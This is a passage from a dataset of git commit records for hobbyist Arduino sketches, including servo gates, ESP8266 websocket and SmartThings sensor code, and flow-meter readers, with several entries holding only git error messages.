lcd.begin(16,2);\n input.reserve(200);\n pinMode(LEDPIN, HIGH);\n gate.attach(9);\n}\n\nvoid loop() {\n serialEvent();\n lcd.home();\n if (stringComplete){\n\n for (int i = 0; i < length(authNumbers); i++){\n if (input == authNumbers){\n lcd.print(\"Authorized\");\n attempt = 0;\n lcd.setCursor(0,1);\n lcd.print(\"Attempt: \");\n lcd.print(attempt);\n digitalWrite(LEDPIN, HIGH);\n gate.write(gateMin); \n }\n else {\n lcd.print(\"Unauthorized\");\n lcd.setCursor(0,1);\n lcd.print(\"Attempt: \");\n attempt++;\n lcd.print(attempt); \n digitalWrite(LEDPIN, LOW);\n gate.write(gateMax);\n }\n }\n stringComplete = false; \n input = \"\"; \n }\n}\n\nvoid serialEvent(){\n while(Serial.available()){\n char inChar = (char)Serial.read();\n input += inChar;\n if(inChar == '\\n')\n stringComplete = true;\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Lab_s1e5\/Lab_s1e5.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"c737c7ff757bcdc0ca9e2666768a3f9bd1245789","subject":"Start of websocket controlled servo","message":"Start of websocket controlled servo\n","repos":"theapi\/denbit,theapi\/denbit","old_file":"examples\/ServoWebsocket\/ServoWebsocket.ino","new_file":"examples\/ServoWebsocket\/ServoWebsocket.ino","new_contents":"\n\/** \n Servo Sweep\n*\/\n\n#include <Arduino.h>\n\n#include <ESP8266WiFi.h>\n#include <ESP8266WiFiMulti.h>\n#include <WebSocketsServer.h>\n#include <ESP8266WebServer.h>\n#include <ESP8266mDNS.h>\n#include <Hash.h>\n\n#include <Servo.h>\n\n\/\/ Include the Denbit library.\n#include <Denbit.h>\n\/\/ Initialize the denbit.\nDenbit denbit;\n\nServo myservo; \/\/ create servo object to control a servo\n\n\/\/ Create a wifi object.\nESP8266WiFiMulti WiFiMulti;\n\/\/ Create a webserver object.\nESP8266WebServer server = ESP8266WebServer(80);\n\/\/ Create the websocket server.\nWebSocketsServer webSocket = WebSocketsServer(81);\n\n\/\/ Assign readable names to the led pin numbers\nconst int ledRed = 15; \nconst int ledGreen = 14; \nconst int ledBlue = 10; \n\nint servoPosition; \/\/ Where to move the servo to.\n\n\/**\n * Called when something happens on the websocket.\n *\/\nvoid webSocketEvent(uint8_t num, WStype_t type, uint8_t * payload, size_t lenght) {\n\n switch(type) {\n case WStype_DISCONNECTED:\n Serial.printf(\"[%u] Disconnected!\\n\", num);\n break;\n case WStype_CONNECTED: {\n IPAddress ip = webSocket.remoteIP(num);\n Serial.printf(\"[%u] Connected from %d.%d.%d.%d url: %s\\n\", num, ip[0], ip[1], ip[2], ip[3], payload);\n\n \/\/ send message to client\n webSocket.sendTXT(num, \"Connected\");\n }\n break;\n case WStype_TEXT:\n Serial.printf(\"[%u] get Text: %s\\n\", num, payload);\n\n if (payload[0] == '#') {\n \/\/ we get RGB data\n\n \/\/ decode rgb data\n uint32_t rgb = (uint32_t) strtol((const char *) &payload[1], NULL, 16);\n\n analogWrite(ledRed, ((rgb >> 16) & 0xFF));\n analogWrite(ledGreen, ((rgb >> 8) & 0xFF));\n analogWrite(ledBlue, ((rgb >> 0) & 0xFF));\n\n \/\/ Move the servo to according to the red value.\n int redVal = (rgb >> 16) & 0xFF;\n servoPosition = map(redVal, 0, 255, 0, 180); \/\/ scale it to use it with the servo (value between 0 and 180)\n myservo.write(servoPosition); \/\/ sets the servo position according to the scaled value\n\n }\n\n break;\n }\n\n}\n\nvoid setup() {\n Serial.begin(115200);\n myservo.attach(12); \/\/ attaches the servo to the output pin\n\n Serial.setDebugOutput(true);\n Serial.println();\n Serial.println();\n Serial.println();\n\n for(uint8_t t = 4; t > 0; t--) {\n Serial.printf(\"[SETUP] BOOT WAIT %d...\\n\", t);\n Serial.flush();\n delay(1000);\n }\n\n digitalWrite(ledRed, 1);\n digitalWrite(ledGreen, 1);\n digitalWrite(ledBlue, 1);\n\n}\n\nvoid loop() {\n webSocket.loop();\n server.handleClient();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ServoWebsocket\/ServoWebsocket.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"01f64f6f75ddb0a2221ef4e3439bc11d9e20ea2b","subject":"Create currentSensor.ino","message":"Create currentSensor.ino","repos":"lolisa\/2014-15,huskyroboticsteam\/2014-15,lolisa\/2014-15,lolisa\/2014-15,huskyroboticsteam\/2014-15,huskyroboticsteam\/2014-15","old_file":"Arduino Code\/masterCode\/currentSensor.ino","new_file":"Arduino Code\/masterCode\/currentSensor.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lolisa\/2014-15.git\/'\n","license":"bsd-3-clause","lang":"Arduino"} {"commit":"2c517bcca4750bb5a309dfcbe401670b4411233c","subject":"initial draft for UbarCDC \/ Android app interaction","message":"initial draft for UbarCDC \/ Android app interaction\n","repos":"timotto\/UbarCDC,timotto\/UbarCDC","old_file":"Android.ino","new_file":"Android.ino","new_contents":"#ifdef SPP_JSON\n\n#define RX_IDLE 0x00\n#define MSG_PING 0x10\n#define MSG_PONG 0x11\n#define MSG_DISCSELECT 0x20\n#define MSG_TRACKINFO 0x80\n\nint rxState = RX_IDLE;\nint subState = 0;\nint subPos = 0;\n\nvoid cdc_select(int disc) {\n bt_sppTx(MSG_DISCSELECT);\n bt_sppTx((uint8_t)disc);\n}\n\nvoid bt_sppRx(const char c){\n switch(rxState) {\n case RX_IDLE:\n switch(c) {\n case MSG_TRACKINFO:\n rxState = MSG_TRACKINFO;\n subState = 0;\n subPos = 0;\n break;\n case MSG_PING:\n rxState = MSG_PING;\n subState = 0;\n subPos = 0;\n break;\n }\n break;\n \n case MSG_TRACKINFO:\n switch(subState) {\n case 0:\n break;\n default:\n rxState = RX_IDLE;\n break;\n }\n subState++;\n break;\n \n case MSG_PING:\n switch(subState) {\n case 0:\n bt_sppTx(MSG_PONG);\n bt_sppTx(c);\n rxState = RX_IDLE;\n break;\n }\n subState++;\n break;\n }\n}\n\n#endif\n\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Android.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"41538bf23758853cace6e675cf3efd8bc9f03ada","subject":"Arduino code bug","message":"Arduino code bug\n","repos":"auvnitrkl\/tiburon-3.0","old_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_file":"hardware_stack\/hammerhead_arduino\/NUC_nano\/NUC_nano.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/auvnitrkl\/tiburon-3.0.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"2057bb44a04ee8e109732cc3c2af2a179fa09c20","subject":"Revert \"Changed nothing. Lol\"","message":"Revert \"Changed nothing. Lol\"\n\nThis reverts commit 2a8470c0f16f5b7851d48a9ec4062e8144236e61.\n","repos":"FricoRico\/ArduinoBlinds","old_file":"ArduinoBlinds.ino","new_file":"ArduinoBlinds.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/FricoRico\/ArduinoBlinds.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"f6072500c615f7f877e649dcd387ae213208cbc2","subject":"Fixed TX for temp on environode","message":"Fixed TX for temp on environode\n","repos":"ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha,ekwoodrich\/nirha","old_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_file":"nduino\/nirnodes\/envirobeta\/envirobeta.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/ekwoodrich\/nirha.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"1eb4d036d842a74e4d30962d47335770b56779cc","subject":"Se a\u00f1ade proyecto luces ritmicas con potenciometro","message":"Se a\u00f1ade proyecto luces ritmicas con potenciometro\n","repos":"codigoelectronica\/arduino_code,codigoelectronica\/arduino_code,codigoelectronica\/arduino_code","old_file":"luces_ritmicas_potenciometro\/luces_ritmicas_potenciometro.ino","new_file":"luces_ritmicas_potenciometro\/luces_ritmicas_potenciometro.ino","new_contents":"\/*Luces ritmicas potenciometro\n* Copyright: codigoelectronica.com\n* Author: Oscar Fernandez\n* License: MIT\n*\/\nvoid setup() {\n \/\/Iniciamos puerto serial\n Serial.begin(9600);\n pinMode(2, OUTPUT);\n pinMode(3, OUTPUT);\n pinMode(4, OUTPUT);\n pinMode(5, OUTPUT);\n pinMode(6, OUTPUT);\n pinMode(7, OUTPUT);\n}\n\nvoid loop() {\n \/\/Leemos puesrto analogo\n int sensorValue = analogRead(A0);\n \/\/Calculamos voltaje\n float voltaje = (sensorValue*5.0)\/1024;\n \/\/Verificamos el voltaje para encender los leds\n if(voltaje < 0.8){\n digitalWrite(2, HIGH); \n digitalWrite(3, LOW); \n digitalWrite(4, LOW); \n digitalWrite(5, LOW); \n digitalWrite(6, LOW); \n digitalWrite(7, LOW); \n }else if(voltaje >= 0.9 & voltaje <= 1.6){\n digitalWrite(2, HIGH); \n digitalWrite(3, HIGH); \n digitalWrite(4, LOW); \n digitalWrite(5, LOW); \n digitalWrite(6, LOW); \n digitalWrite(7, LOW);\n }else if(voltaje >= 1.7 & voltaje <= 2.5){\n digitalWrite(2, HIGH); \n digitalWrite(3, HIGH); \n digitalWrite(4, HIGH); \n digitalWrite(5, LOW); \n digitalWrite(6, LOW); \n digitalWrite(7, LOW);\n }else if(voltaje >= 2.6 & voltaje <= 3.3){\n digitalWrite(2, HIGH); \n digitalWrite(3, HIGH); \n digitalWrite(4, HIGH); \n digitalWrite(5, HIGH); \n digitalWrite(6, LOW); \n digitalWrite(7, LOW);\n }else if(voltaje >= 3.4 & voltaje <= 4.1){\n digitalWrite(2, HIGH); \n digitalWrite(3, HIGH); \n digitalWrite(4, HIGH); \n digitalWrite(5, HIGH); \n digitalWrite(6, HIGH); \n digitalWrite(7, LOW);\n }else if(voltaje >= 4.2 & voltaje <= 5.0){\n digitalWrite(2, HIGH); \n digitalWrite(3, HIGH); \n digitalWrite(4, HIGH); \n digitalWrite(5, HIGH); \n digitalWrite(6, HIGH); \n digitalWrite(7, HIGH);\n }\n Serial.println(voltaje);\n delay(10); \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'luces_ritmicas_potenciometro\/luces_ritmicas_potenciometro.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"8900e825a9bacd37f8c22c9b01ddf32f198dffd4","subject":"Create ST_Anything_ESP8266_ScotchTape.ino","message":"Create ST_Anything_ESP8266_ScotchTape.ino\n\nTest file for ScotchTape","repos":"vseven\/SmartThings_VSeven","old_file":"Misc\/ST_Anything_ESP8266_ScotchTape.ino","new_file":"Misc\/ST_Anything_ESP8266_ScotchTape.ino","new_contents":"\/\/******************************************************************************************\n\/\/ File: ST_Anything_Multiples_ESP8266WiFi.ino\n\/\/ Authors: Dan G Ogorchock & Daniel J Ogorchock (Father and Son)\n\/\/\n\/\/ Summary: This Arduino Sketch, along with the ST_Anything library and the revised SmartThings \n\/\/ library, demonstrates the ability of one NodeMCU ESP8266 to \n\/\/ implement a multi input\/output custom device for integration into SmartThings.\n\/\/ The ST_Anything library takes care of all of the work to schedule device updates\n\/\/ as well as all communications with the NodeMCU ESP8266's WiFi.\n\/\/ \n\/\/ Change History:\n\/\/\n\/\/ Date Who What\n\/\/ ---- --- ----\n\/\/ 2015-01-03 Dan & Daniel Original Creation\n\/\/ 2017-02-12 Dan Ogorchock Revised to use the new SMartThings v2.0 library\n\/\/ 2017-04-17 Dan Ogorchock New example showing use of Multiple device of same ST Capability\n\/\/ used with new Parent\/Child Device Handlers (i.e. Composite DH)\n\/\/ 2017-05-25 Dan Ogorchock Revised example sketch, taking into account limitations of NodeMCU GPIO pins\n\/\/\n\/\/******************************************************************************************\n\/\/******************************************************************************************\n\/\/ SmartThings Library for ESP8266WiFi\n\/\/******************************************************************************************\n#include <SmartThingsESP8266WiFi.h>\n\n\/\/******************************************************************************************\n\/\/ ST_Anything Library \n\/\/******************************************************************************************\n#include <Constants.h> \/\/Constants.h is designed to be modified by the end user to adjust behavior of the ST_Anything library\n#include <Device.h> \/\/Generic Device Class, inherited by Sensor and Executor classes\n#include <Sensor.h> \/\/Generic Sensor Class, typically provides data to ST Cloud (e.g. Temperature, Motion, etc...)\n#include <PollingSensor.h> \/\/Generic Polling \"Sensor\" Class, polls Arduino pins periodically\n#include <Everything.h> \/\/Master Brain of ST_Anything library that ties everything together and performs ST Shield communications\n\n#include <PS_AdafruitTCS34725_Illum_Color.h> \/\/Implements a Polling Sensor (PS) to measure Light and Color values from a Adafruit TCS34725 sensor\n#include <PS_TemperatureHumidity.h> \/\/Implements a Polling Sensor (PS) to measure Temperature and Humidity via DHT library\n\n\/\/*************************************************************************************************\n\/\/NodeMCU v1.0 ESP8266-12e Pin Definitions (makes it much easier as these match the board markings)\n\/\/*************************************************************************************************\n\/\/#define LED_BUILTIN 16\n\/\/#define BUILTIN_LED 16\n\/\/\n\/\/#define D0 16 \/\/no internal pullup resistor\n\/\/#define D1 5\n\/\/#define D2 4\n\/\/#define D3 0 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D4 2 \/\/must not be pulled low during power on\/reset, toggles value during boot\n\/\/#define D5 14\n\/\/#define D6 12\n\/\/#define D7 13\n\/\/#define D8 15 \/\/must not be pulled high during power on\/reset\n\n\/\/******************************************************************************************\n\/\/Define which Arduino Pins will be used for each device\n\/\/******************************************************************************************\n\n#define PIN_TEMPERATUREHUMIDITY_1 D7 \/\/ SmartThings Capabilty \"Temperature & Humidity Measurement\" (DHTxx)\n\n\/\/******************************************************************************************\n\/\/ESP8266 WiFi Information\n\/\/******************************************************************************************\nString str_ssid = \"yourSSIDhere\"; \/\/ <---You must edit this line!\nString str_password = \"yourWiFiPasswordhere\"; \/\/ <---You must edit this line!\nIPAddress ip(192, 168, 1, 227); \/\/Device IP Address \/\/ <---You must edit this line!\nIPAddress gateway(192, 168, 1, 1); \/\/Router gateway \/\/ <---You must edit this line!\nIPAddress subnet(255, 255, 255, 0); \/\/LAN subnet mask \/\/ <---You must edit this line!\nIPAddress dnsserver(192, 168, 1, 1); \/\/DNS server \/\/ <---You must edit this line!\nconst unsigned int serverPort = 8090; \/\/ port to run the http server on\n\n\/\/ Smartthings Hub Information\nIPAddress hubIp(192, 168, 1, 149); \/\/ smartthings hub ip \/\/ <---You must edit this line!\nconst unsigned int hubPort = 39500; \/\/ smartthings hub port\n\n\/\/******************************************************************************************\n\/\/st::Everything::callOnMsgSend() optional callback routine. This is a sniffer to monitor \n\/\/ data being sent to ST. This allows a user to act on data changes locally within the \n\/\/ Arduino sktech.\n\/\/******************************************************************************************\nvoid callback(const String &msg)\n{\n\/\/ Serial.print(F(\"ST_Anything Callback: Sniffed data = \"));\n\/\/ Serial.println(msg);\n \n \/\/TODO: Add local logic here to take action when a device's value\/state is changed\n \n \/\/Masquerade as the ThingShield to send data to the Arduino, as if from the ST Cloud (uncomment and edit following line)\n \/\/st::receiveSmartString(\"Put your command here!\"); \/\/use same strings that the Device Handler would send\n}\n\n\/\/******************************************************************************************\n\/\/Arduino Setup() routine\n\/\/******************************************************************************************\nvoid setup()\n{\n \/\/******************************************************************************************\n \/\/Declare each Device that is attached to the Arduino\n \/\/ Notes: - For each device, there is typically a corresponding \"tile\" defined in your \n \/\/ SmartThings Device Hanlder Groovy code, except when using new COMPOSITE Device Handler\n \/\/ - For details on each device's constructor arguments below, please refer to the \n \/\/ corresponding header (.h) and program (.cpp) files.\n \/\/ - The name assigned to each device (1st argument below) must match the Groovy\n \/\/ Device Handler names. (Note: \"temphumid\" below is the exception to this rule\n \/\/ as the DHT sensors produce both \"temperature\" and \"humidity\". Data from that\n \/\/ particular sensor is sent to the ST Hub in two separate updates, one for \n \/\/ \"temperature\" and one for \"humidity\")\n \/\/ - The new Composite Device Handler is comprised of a Parent DH and various Child\n \/\/ DH's. The names used below MUST not be changed for the Automatic Creation of\n \/\/ child devices to work properly. Simply increment the number by +1 for each duplicate\n \/\/ device (e.g. contact1, contact2, contact3, etc...) You can rename the Child Devices\n \/\/ to match your specific use case in the ST Phone Application.\n \/\/******************************************************************************************\n \/\/Polling Sensors\n static st::PS_AdafruitTCS34725_Illum_Color sensor1(F(\"illuminancergb1\"),60,0); \n static st::PS_TemperatureHumidity sensor2(F(\"temphumid1\"), 30, 5, PIN_TEMPERATUREHUMIDITY_1, st::PS_TemperatureHumidity::DHT22,\"temperature1\",\"humidity1\");\n \n \/\/Interrupt Sensors \n\n \/\/Special sensors\/executors (uses portions of both polling and executor classes)\n\n \/\/Executors\n\n \/\/*****************************************************************************\n \/\/ Configure debug print output from each main class \n \/\/ -Note: Set these to \"false\" if using Hardware Serial on pins 0 & 1\n \/\/ to prevent communication conflicts with the ST Shield communications\n \/\/*****************************************************************************\n st::Everything::debug=true;\n st::Executor::debug=true;\n st::Device::debug=true;\n st::PollingSensor::debug=true;\n\n \/\/*****************************************************************************\n \/\/Initialize the \"Everything\" Class\n \/\/*****************************************************************************\n\n \/\/Initialize the optional local callback routine (safe to comment out if not desired)\n st::Everything::callOnMsgSend = callback;\n \n \/\/Create the SmartThings ESP8266WiFi Communications Object\n \/\/STATIC IP Assignment - Recommended\n st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, ip, gateway, subnet, dnsserver, serverPort, hubIp, hubPort, st::receiveSmartString);\n \n \/\/DHCP IP Assigment - Must set your router's DHCP server to provice a static IP address for this device's MAC address\n \/\/st::Everything::SmartThing = new st::SmartThingsESP8266WiFi(str_ssid, str_password, serverPort, hubIp, hubPort, st::receiveSmartString);\n\n \/\/Run the Everything class' init() routine which establishes WiFi communications with SmartThings Hub\n st::Everything::init();\n \n \/\/*****************************************************************************\n \/\/Add each sensor to the \"Everything\" Class\n \/\/*****************************************************************************\n st::Everything::addSensor(&sensor1);\n st::Everything::addSensor(&sensor2);\n \n \/\/*****************************************************************************\n \/\/Add each executor to the \"Everything\" Class\n \/\/*****************************************************************************\n \n \/\/*****************************************************************************\n \/\/Initialize each of the devices which were added to the Everything Class\n \/\/*****************************************************************************\n \n}\n\n\/\/******************************************************************************************\n\/\/Arduino Loop() routine\n\/\/******************************************************************************************\nvoid loop()\n{\n \/\/*****************************************************************************\n \/\/Execute the Everything run method which takes care of \"Everything\"\n \/\/*****************************************************************************\n st::Everything::run();\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Misc\/ST_Anything_ESP8266_ScotchTape.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"8b046a23debbfd07a48d4600c25352b7758786c4","subject":"...","message":"...\n\n...\n","repos":"Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network,Sensorica\/Sensor-Network","old_file":"Sensor Tests\/Individual_Sensor_Sketches\/Optical_limit switch\/optical_limit_switch_preliminary_test\/optical_limit_switch_preliminary_analog_test\/optical_limit_switch_preliminary_analog_test.ino","new_file":"Sensor Tests\/Individual_Sensor_Sketches\/Optical_limit switch\/optical_limit_switch_preliminary_test\/optical_limit_switch_preliminary_analog_test\/optical_limit_switch_preliminary_analog_test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Sensor' did not match any file(s) known to git\nerror: pathspec 'Tests\/Individual_Sensor_Sketches\/Optical_limit' did not match any file(s) known to git\nerror: pathspec 'switch\/optical_limit_switch_preliminary_test\/optical_limit_switch_preliminary_analog_test\/optical_limit_switch_preliminary_analog_test.ino' did not match any file(s) known to git\n","license":"cc0-1.0","lang":"Arduino"} {"commit":"c42344d863cf73de92d24fb59d51c9d0d702d279","subject":"changed deadzones one last time","message":"changed deadzones one last time\n","repos":"SeaSweepersROV\/SeaSweepers2017,SeaSweepersROV\/SeaSweepers2017","old_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_file":"Motor Code\/MotorsRX_EZ\/MotorsRX_EZ.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'Motor' did not match any file(s) known to git\nerror: pathspec 'Code\/MotorsRX_EZ\/MotorsRX_EZ.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7142d801d03c4381eff7e3d03b8525de0ce3df3e","subject":"fix arriving==>need test; shorten autoAlignment time;","message":"fix arriving==>need test; shorten autoAlignment time;\n","repos":"lushl9301\/Yellow-SubArena","old_file":"exploration testing\/src\/main.ino","new_file":"exploration testing\/src\/main.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'exploration' did not match any file(s) known to git\nerror: pathspec 'testing\/src\/main.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ecbb4ef357481d490a15b2ff2d7f3da681f0456c","subject":"Move reading temperature outside main loop.","message":"Move reading temperature outside main loop.\n\nTrying to avoid hitting temp. sensor every second just to throw away results.","repos":"lgramatikov\/celeste","old_file":"Celeste.ino","new_file":"Celeste.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/lgramatikov\/celeste.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3d369fb4f3c37ac7b952c58947189ac0a9f6283a","subject":"Added Arduino Uno R3 source","message":"Added Arduino Uno R3 source\n\nThis initial commit revision reports 3 flow meters and 1 DS18B20 temperature sensor. It sends serial messages at 115200bd over USB in the following format. Temperature is in Celsius\r\n tap1:63 tap2:0 tap3:0 temp1:4.7","repos":"kencodes\/reducedKegbot","old_file":"arduino\/Discofridge\/Discofridge.ino","new_file":"arduino\/Discofridge\/Discofridge.ino","new_contents":"\/*\n * This file is the hardware interface for Nuvation's Discofridge project.\n * The Arduino is used to handle the hardware interface and to convert 0->5VDC\n * pulses from the SF800 flow meters to 3.3V and reads the temperature sensors.\n * It then encodes the sensor values in a serial stream which is sent over USB\n * at 115200bd to the main computer (currently a Raspberry Pi Model 1 B)\n * \n * The PinChangeInterrupt library is used to extend the interrupt capabilities\n * of the Arduino Uno (ATMega328), which normally has only 2 external interrupts.\n * \n * In this file, the Uno's pin A2 corresponds to tap 1 flow, A3 to tap 2 and A4\n * to tap 3.\n *\n * Full serial message will look like\n * tap1:63 tap2:0 tap3:0 temp1:34.7 temp2:0.0\n * meaning 63 flow meter pulses seen on tap1 since last message, none on\n * taps 2 or 3, temperature sensor 1 reads 34.7F and temperature sensor 2\n * wasn't found or could not be read\n *\/\n\n\/\/ This library allows any pin to be used as a medium-speed interrupt\n#include <PinChangeInt.h>\n\n\/\/ For DS18S20 Temperature Sensor\n#include <OneWire.h>\nOneWire tempSensor(10); \/\/ on pin 10, need 4.7Kohm PU to VCC\n\n\/\/ Flow Meter Pin Numbers\n#define TAP_PIN_1 A2\n#define TAP_PIN_2 A3\n#define TAP_PIN_3 A4\n\n\/\/ Serial interface settings\n#define SERIAL_BAUD 115200\n#define SERIAL_MSG_INTERVAL 500 \/\/333\n#define READ_TEMP_INTERVAL 10 \/\/ number of serial messages between reading the temperature sensor\n\n\/\/ Temperature sensor variables\nint HighByte, LowByte, TReading, SignBit, Tc_100, Whole, Fract;\nbool tempSensorFound = false;\nbyte i;\nbyte addr[8];\n\n#define NUM_TEMP_SENSORS 1\n\nuint8_t ii; \/\/ Counting variable for loops\nuint8_t count; \/\/ Store the pulse count value so the interrupts can continue to be handled\nuint8_t temp_sens_wait; \/\/ Read the temperature sensor every 5-10 seconds\n\n#define TOTAL_PINS 19 \/\/ DON'T CHANGE THIS\n\/\/ Notice that anything that gets modified inside an interrupt, that I wish to access\n\/\/ outside the interrupt, is marked \"volatile\". That tells the compiler not to optimize\n\/\/ them.\nvolatile uint8_t interrupt_count[TOTAL_PINS]={0}; \/\/ possible arduino pins\n\n\/\/ Callback functions to track flow meter pulses\nvoid tap1_tick() {\n interrupt_count[TAP_PIN_1]++;\n};\nvoid tap2_tick() {\n interrupt_count[TAP_PIN_2]++;\n};\nvoid tap3_tick() {\n interrupt_count[TAP_PIN_3]++;\n}\n\nvoid setup() {\n pinMode(TAP_PIN_1, INPUT_PULLUP);\n pinMode(TAP_PIN_2, INPUT_PULLUP);\n pinMode(TAP_PIN_3, INPUT_PULLUP);\n attachPinChangeInterrupt(TAP_PIN_1, tap1_tick, RISING);\n attachPinChangeInterrupt(TAP_PIN_2, tap2_tick, RISING);\n attachPinChangeInterrupt(TAP_PIN_3, tap3_tick, RISING);\n \/\/OneWire tempSensor(45); \/\/ DS18S20 Temperature chip on pin 10\n Serial.begin(SERIAL_BAUD);\n temp_sens_wait = 1; \/\/ Read the temperature sensor every 5-10 seconds\n Whole = 0; \/\/ temperature sensor values\n Fract = 0; \/\/ temperature sensor values\n \/\/ Look for temperature sensor. If found, report address\n \/\/ If not found, report not found\n if (tempSensor.search(addr)) {\n tempSensorFound = true;\n \/\/ Serial.print(\"DEVICE address: \");\n \/\/ for( i = 0; i < 8; i++) {\n \/\/ Serial.print(addr[i], HEX);\n \/\/ Serial.print(\" \");\n \/\/ }\n \/\/ if ( addr[0] == 0x10) {\n \/\/ Serial.print(\"Device is a DS18S20 family device.\\n\");\n \/\/ }\n \/\/ else if ( addr[0] == 0x28) {\n \/\/ Serial.print(\"Device is a DS18B20 family device.\\n\");\n \/\/ }\n \/\/ else {\n \/\/ Serial.print(\"Device family is not recognized: 0x\");\n \/\/ Serial.println(addr[0],HEX);\n \/\/ return;\n \/\/ }\n } else { \/\/if ( !tempSensor.search(addr)) {\n tempSensorFound = false;\n \/\/ Serial.print(\"DEVICE NOT FOUND.\\n\");\n tempSensor.reset_search();\n \/\/return;\n }\n}\n\n\/\/ Read the temperature from the sensor\nvoid readTemp(const byte* addr) {\n byte present = 0;\n byte data[12];\n \n \/\/ Check CRC\n if ( OneWire::crc8( addr, 7) != addr[7]) {\n \/\/ Serial.print(\"CRC is not valid!\\n\");\n return;\n }\n tempSensor.reset();\n tempSensor.select(addr);\n tempSensor.write(0x44,1); \/\/ start conversion, with parasite power on at the end\n present = tempSensor.reset();\n tempSensor.select(addr); \n tempSensor.write(0xBE); \/\/ Read Scratchpad\n \n \/\/ Reading the temperature data\n for ( i = 0; i < 9; i++) { \/\/ we need 9 bytes\n data[i] = tempSensor.read();\n }\n \n \/\/ Extract temperature bytes\n LowByte = data[0];\n HighByte = data[1];\n TReading = (HighByte << 8) + LowByte;\n SignBit = TReading & 0x8000; \/\/ test most sig bit\n if (SignBit) { \/\/ negative\n TReading = (TReading ^ 0xffff) + 1; \/\/ 2's comp\n }\n \n \/\/ multiply by (100 * 0.0625) or 6.25\n Tc_100 = (6 * TReading) + TReading \/ 4;\n \n \/\/ Convert temperature to decimal\n Whole = Tc_100 \/ 100; \/\/ separate off the whole and fractional portions\n Fract = Tc_100 % 100;\n\n \/\/ if (SignBit) \/\/ If its negative\n \/\/ {\n \/\/ Serial.print(\"-\");\n \/\/ }\n \/\/ Serial.print(Whole);\n \/\/ Serial.print(\".\");\n \/\/ if (Fract < 10)\n \/\/ {\n \/\/ Serial.print(\"0\");\n \/\/ }\n \/\/ Serial.print(Fract);\n \/\/ Serial.print(\"\\n\");\n}\n\n\/\/ Initialize string for serial message\nString serial_message;\/\/ = \"\";\n\n\/\/ Every SERIAL_MSG_INTERVAL ms, send the number of pulses seen on each\n\/\/ interrupt over the serial interface, where it will be parsed by a regex\nvoid loop() {\n\n \/\/ wait\n delay(SERIAL_MSG_INTERVAL);\n \n \/\/ Initialize string for serial message\n serial_message = \"\";\n \n \/\/ Initialize temperature sensor variables\n \/\/ Whole = 0;\n \/\/ Fract = 0;\n \n \/\/ Flow meters\n for (ii=16; ii < 19; ii++) {\n count=interrupt_count[ii]; \/\/ store its count since the last iteration\n interrupt_count[ii]=0; \/\/ and reset it to 0\n serial_message += \" tap\";\n serial_message += ii-15;\n serial_message += \":\";\n serial_message += count;\n }\n \n \/\/ Read the temperature from the sensor\n if (temp_sens_wait == READ_TEMP_INTERVAL) { \/\/ Check if time to read temp sensor\n readTemp(addr);\n temp_sens_wait = 1;\n } else {\n temp_sens_wait++;\n }\n \n \/\/ Temperature sensors\n for (ii=0; ii<NUM_TEMP_SENSORS; ii++) {\n serial_message += \" temp\";\n serial_message += ii+1;\n serial_message += \":\";\n serial_message += Whole;\n serial_message += \".\";\n serial_message += Fract;\n \/\/serial_message += \"C\";\n }\n \n \/\/ Finish serial message with newline\n \/\/serial_message += \"\\n\";\n \n \/\/ Send serial message\n 